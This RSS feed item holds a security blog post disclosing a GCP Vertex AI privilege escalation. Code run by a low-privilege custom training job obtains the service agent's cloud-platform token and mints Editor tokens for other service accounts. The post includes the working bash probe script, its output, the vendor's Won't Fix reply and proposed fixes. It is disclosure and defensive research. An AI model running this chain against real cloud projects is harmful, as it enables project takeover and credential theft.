<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>gcp on Himanshu Anand :: Security &amp; Other Notes</title>
    <link>https://blog.himanshuanand.com/tags/gcp/</link>
    <description>Recent content in gcp on Himanshu Anand :: Security &amp; Other Notes</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 16 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.himanshuanand.com/tags/gcp/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Fine-tune an LLM on Vertex AI, own the whole GCP project</title>
      <link>https://blog.himanshuanand.com/2026/06/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project/</link>
      <pubDate>Tue, 16 Jun 2026 00:00:00 +0000</pubDate>
      
      <guid>https://blog.himanshuanand.com/2026/06/fine-tune-an-llm-on-vertex-ai-own-the-whole-gcp-project/</guid>
      <description>If your team trains models or fine tunes LLMs on Vertex AI, one training permission is all it takes to take over the whole project.
TLDR;
A principal with one permission aiplatform.customJobs.create can run code as google&amp;rsquo;s managed Custom Code Service Agent, which hands out a cloud platform token (the exact scope Google&amp;rsquo;s docs says it can&amp;rsquo;t have) and can mint tokens for any service account in the project. That is low priv ML role turning into effective project Editor, no actAs, no user interaction.</description>
      <content>&lt;p&gt;If your team trains models or fine tunes LLMs on Vertex AI, one training permission is all it takes to take over the whole project.&lt;/p&gt;
&lt;p&gt;TLDR;&lt;/p&gt;
&lt;p&gt;A principal with one permission &lt;code&gt;aiplatform.customJobs.create&lt;/code&gt; can run code as google&amp;rsquo;s managed Custom Code Service Agent, which hands out a cloud platform token (the exact scope Google&amp;rsquo;s docs says it can&amp;rsquo;t have) and can mint tokens for any service account in the project. That is low priv ML role turning into effective project Editor, no actAs, no user interaction.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s the same primitive published by &lt;strong&gt;Unit 42 (Ofir Balassiano &amp;amp; Ofir Shaty) on November 12, 2024&lt;/strong&gt; - &lt;a href=&#34;https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/&#34;&gt;&lt;em&gt;ModeLeak: Privilege Escalation to LLM Model Exfiltration in Vertex AI&lt;/em&gt;&lt;/a&gt;. Guess what, it still works. Google marked my report &amp;ldquo;Won&amp;rsquo;t Fix (Infeasible)&amp;rdquo; for lacking a &amp;ldquo;reproducible proof of concept&amp;rdquo; on a report that is mostly reproducible proof of concept.&lt;/p&gt;
&lt;p&gt;the one permission&lt;/p&gt;
&lt;p&gt;Vertex AI custom jobs are simple: hand Google a container, Google runs it. The catch is who it runs as. By default that&amp;rsquo;s a Google-managed identity:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;service-&amp;lt;PROJECT_NUMBER&amp;gt;@gcp-sa-aiplatform-cc.iam.gserviceaccount.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Your code Google&amp;rsquo;s identity. To submit a job you essentially need one meaningful permission, aiplatform.customJobs.create, the thing orgs hand to every data scientist. You do not need actAs, getAccessToken, a token-creator role, Editor, or Owner. So I built exactly that: a custom role with customJobs.create/get/list + locations.get, bound to a fresh service account with rights over nothing else. An intern badge.&lt;/p&gt;
&lt;p&gt;the docs literally say this is impossible&lt;/p&gt;
&lt;p&gt;This is the whole bug. From Google&amp;rsquo;s own custom service account docs (&lt;a href=&#34;https://cloud.google.com/vertex-ai/docs/general/custom-service-account)&#34;&gt;https://cloud.google.com/vertex-ai/docs/general/custom-service-account)&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;If you want your custom training code to obtain an OAuth 2.0 access token with the &lt;a href=&#34;https://www.googleapis.com/auth/cloud-platform&#34;&gt;https://www.googleapis.com/auth/cloud-platform&lt;/a&gt; scope, then you must use a custom service account for training. You can&amp;rsquo;t give this level of access to the … Custom Code Service Agent.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The default agent cannot have cloud platform scope. That promise is the reason &lt;code&gt;customJobs.create&lt;/code&gt; is supposedly safe to hand out. The promise is false.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/google_cloud_customjob_Anakin.jpg&#34; alt=&#34;Anakin and Padme: the agent can&amp;amp;rsquo;t get cloud-platform scope, right?&#34;&gt;&lt;/p&gt;
&lt;p&gt;so I did it&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;training code&amp;rdquo; is just a shell script that interrogates the metadata server and tries things it shouldn&amp;rsquo;t be allowed to:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;T1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;curl -s -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Metadata-Flavor: Google&amp;#34;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;s2&#34;&gt;&amp;#34;http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token&amp;#34;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; python3 -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;import sys,json;print(json.load(sys.stdin)[&amp;#39;access_token&amp;#39;])&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# mint a token for the Editor-level Compute SA (should fail)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;T2&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;curl -s -X POST -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$T1&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;s2&#34;&gt;&amp;#34;https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$COMPUTE_SA&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;:generateAccessToken&amp;#34;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  -d &lt;span class=&#34;s1&#34;&gt;&amp;#39;{&amp;#34;scope&amp;#34;:[&amp;#34;https://www.googleapis.com/auth/cloud-platform&amp;#34;]}&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; python3 -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;import sys,json;print(json.load(sys.stdin).get(&amp;#39;accessToken&amp;#39;,&amp;#39;&amp;#39;))&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# read the entire project IAM policy with that minted token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -s -X POST -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$T2&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;s2&#34;&gt;&amp;#34;https://cloudresourcemanager.googleapis.com/v1/projects/&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$PROJECT&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;:getIamPolicy&amp;#34;&lt;/span&gt; -d &lt;span class=&#34;s1&#34;&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Submitted it as the intern-badge SA (&amp;ndash;impersonate-service-account=$VX), then made tea while Vertex committed the crime in the background, with full Cloud Logging.&lt;/p&gt;
&lt;p&gt;what came back&lt;/p&gt;
&lt;p&gt;tokeninfo on the agent&amp;rsquo;s own metadata token, the scope the docs deny exists:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;&amp;#34;scope&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;email https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;service-81466905344@gcp-sa-aiplatform-cc.iam.gserviceaccount.com&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the rest of the chain, straight from the logs:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;generateAccessToken for Compute Editor SA: HAS_TOKEN: True
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;getIamPolicy on source project: GETIAMPOLICY_OK bindings= 14
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Appspot Editor SA impersonation: APPSPOT_IMPERSONATE_OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So: minimal ML permission -&amp;gt; managed agent -&amp;gt; impossible cloud-platform token -&amp;gt; impersonate any SA -&amp;gt; read the whole project -&amp;gt; effective Editor. It even chained into a second Editor SA, because why stop at one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/google_cloud_customjob_loner_guy.jpg&#34; alt=&#34;they don&amp;amp;rsquo;t know I only have customJobs.create&#34;&gt;&lt;/p&gt;
&lt;p&gt;hasn&amp;rsquo;t someone seen this already?&lt;/p&gt;
&lt;p&gt;Yes. This is functionally ModeLeak Primitive #1, published by Unit 42 in November 2024. Same shape, same agent, same escalation. Google publicly said they &amp;ldquo;implemented fixes to eliminate these specific issues.&amp;rdquo; It&amp;rsquo;s 2026 and the door is still open. Fix didn&amp;rsquo;t cover it, was incomplete, or regressed. Pick one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/google_cloud_customjob_spiderman.jpg&#34; alt=&#34;ModeLeak 2024 vs my 2026 report, same bug&#34;&gt;&lt;/p&gt;
&lt;p&gt;I mentioned in my bug report to Google&lt;/p&gt;
&lt;p&gt;I filed it with the Cloud VRP, flagged the prior art explicitly and linked the tracker → &lt;a href=&#34;https://issuetracker.google.com/issues/522648848&#34;&gt;https://issuetracker.google.com/issues/522648848&lt;/a&gt;. I included the role YAML, the gcloud commands, the probe config, the captured output and three job IDs. The verdict:&lt;/p&gt;
&lt;p&gt;Status: Won&amp;rsquo;t Fix (Infeasible).&lt;/p&gt;
&lt;p&gt;Hi, Our team has analyzed this report and decided not to track it as a security bug. … At this time, we have not seen a reproducible proof of concept that demonstrates how this issue could be exploited to attack Google or other users. Without a clear demonstration of such impact, we are unable to prioritize this as a security-related fix.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/google_response_customjob.jpg&#34; alt=&#34;Google&amp;amp;rsquo;s Won&amp;amp;rsquo;t Fix Infeasible response&#34;&gt;&lt;/p&gt;
&lt;p&gt;The report contains the exact commands, the captured tokeninfo, a successful generateAccessToken against an Editor SA, a getIamPolicy on the whole project, and three job IDs you can pull from Cloud Logging. I reproduced it three times. The job IDs are literally labeled baseline, low-priv, and decisive. &amp;ldquo;No reproducible proof of concept&amp;rdquo; is a bold review for a report you can copy-paste.&lt;/p&gt;
&lt;p&gt;The real gripe is not the bounty, it is setting the bar at &amp;ldquo;demonstrate cross-tenant attack on Google&amp;rdquo; for a single-tenant privesc primitive. Escalating inside my own project is what a privesc is. The same path runs anywhere customJobs.create is delegated, which is nearly everywhere.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/google_customjob_clown.jpg&#34; alt=&#34;clown makeup: still no reproducible PoC&#34;&gt;&lt;/p&gt;
&lt;p&gt;why it matters, and the fix&lt;/p&gt;
&lt;p&gt;Orgs hand customJobs.create to ML engineers believing the docs, which scope the blast radius to &amp;ldquo;editor-level access to GCS and BigQuery.&amp;rdquo; The real radius: impersonate any SA, dump the full IAM policy, inherit Editor (Compute, KMS, Secret Manager, networking), exfiltrate the minted tokens. The defenders&amp;rsquo; mental model is the documented one, and the documented one is wrong.&lt;/p&gt;
&lt;p&gt;The fix isn&amp;rsquo;t exotic, pick any:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Strip getAccessToken/signJwt/signBlob from roles/aiplatform.customCodeServiceAgent.&lt;/li&gt;
&lt;li&gt;Add an actAs gate like Cloud Functions and Cloud Build already require. This is solved one product over.&lt;/li&gt;
&lt;li&gt;Honor the docs: don&amp;rsquo;t give the agent cloud-platform by default.&lt;/li&gt;
&lt;li&gt;At minimum, fix the docs so customers stop trusting a boundary that isn&amp;rsquo;t there.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;final thoughts&lt;/p&gt;
&lt;p&gt;A managed Google identity is quietly carrying a token its own documentation calls impossible, handing project-Editor to anyone with one ML permission, via a primitive a major team already published, and the official position is that it&amp;rsquo;s &amp;ldquo;Infeasible.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;If you run GCP: go check what your custom-job submitters can actually reach. Don&amp;rsquo;t trust the GCS-and-BigQuery framing. Spin up the probe in a throwaway project and read your own tokeninfo. Ten minutes and a cup of tea.&lt;/p&gt;
&lt;p&gt;If you think I&amp;rsquo;m wrong about the severity, especially hit me up (&lt;a href=&#34;https://x.com/anand_himanshu)&#34;&gt;https://x.com/anand_himanshu)&lt;/a&gt;. I&amp;rsquo;d love to hear the case for &amp;ldquo;Infeasible.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Thanks for reading.&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
